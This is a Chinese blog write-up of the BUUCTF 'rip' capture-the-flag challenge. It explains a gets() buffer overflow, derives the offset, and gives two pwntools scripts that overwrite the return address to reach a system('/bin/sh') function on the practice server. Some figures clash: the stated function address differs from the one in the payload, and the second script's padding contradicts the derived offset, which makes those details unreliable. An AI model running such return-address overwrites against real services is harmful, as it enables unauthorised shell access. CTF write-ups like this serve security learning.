buuctf reverse rip

算是入门pwn的第一道题吧

先拖进ida查看

F5查看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]
  puts("please input");
  gets((__int64)&s, (__int64)argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

此时注意到 gets函数

gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。

gets((__int64)&s, (__int64)argv);

双击 s ,查看需要多少字节 。以此来确定偏移量。

也就是说只需要存入15个字节地址,就可以get函数返回地址。

     注意到 后面还有 db 8 dup(?)


    db: 定义字节类型变量的伪指令


    dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定


    ?: 只分配存储空间,不指定初值

因此 最后偏移量为 : 15+8 = 23 。

得到偏移量23

回到ida pro中。寻找是否存在 系统调用函数

找到fun()函数

int fun()
{
  return system("/bin/sh");
}

查看得到 地址为 0x401142。

exp:

from pwn import *

p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)

p.interactive()

+1 是为了保证堆栈平衡。对于payload

payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的这部分任意找ret语句 都可以

exp2

from pwn import *

p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 15 + p64(0x401186) 
p.sendline(payload)

p.interactive()
注意: 上述 payload中 'a' 可以替换成任意字母。

'a' 前面的 b是为了防止python3运行时出现以下错误。 // python2无事。

TypeError: can only concatenate str (not "bytes") to str

 

posted @ 2020-10-23 22:04  Sk2rw  阅读(547)  评论(0编辑  收藏  举报